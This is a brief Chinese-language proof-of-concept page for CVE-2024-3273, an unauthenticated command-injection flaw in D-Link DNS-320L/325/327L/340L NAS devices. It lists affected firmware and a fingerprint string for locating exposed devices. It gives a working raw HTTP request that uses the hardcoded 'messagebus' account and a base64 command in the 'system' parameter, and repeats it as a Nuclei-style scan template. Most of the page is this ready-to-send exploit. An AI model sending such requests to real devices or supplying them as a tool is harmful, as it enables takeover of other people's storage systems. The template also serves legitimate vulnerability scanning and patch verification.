D-Link NAS 未授权RCE

DNS-320L Version 1.11, Version 1.03.0904.2013, Version 1.01.0702.2013DNS-325 Version 1.01DNS-327L Version 1.09, Version 1.00.0409.2013DNS-340L Version 1.08

"Text:In order to access the ShareCenter, please make sure you are using a recent browser(IE 7+, Firefox 3+, Safari 4+, Chrome 3+, Opera 10+)" 

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=aWQ= HTTP/1.1Host: your-ipUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)Accept-Encoding: identityAccept: */*Connection: keep-alive

id: CVE-2024-3273

info:  name:D-Link NAS 未授权RCE  author: kong  severity: high  description: 通过硬编码帐户（用户名：“messagebus”和空密码）造成的后门以及通过“system”参数的命令注入问题。未经身份验证的攻击者可利用此漏洞获取服务器权限。  reference:    - https://github.com/adhikara13/CVE-2024-3273  tags: tags

http:  - raw:      - |+        GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=aWQ= HTTP/1.1        Host: {{Hostname}}        Cache-Control: max-age=0        Upgrade-Insecure-Requests: 1        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6        Connection: close



    matchers-condition: and    matchers:      - type: word        part: body        words:          - uid          - gid      - type: status        status:          - 200

https://buaq.net/go-232770.htmlhttps://github.com/adhikara13/CVE-2024-3273https://www.trustwave.com/en-us/resources/security-resources/security-advisories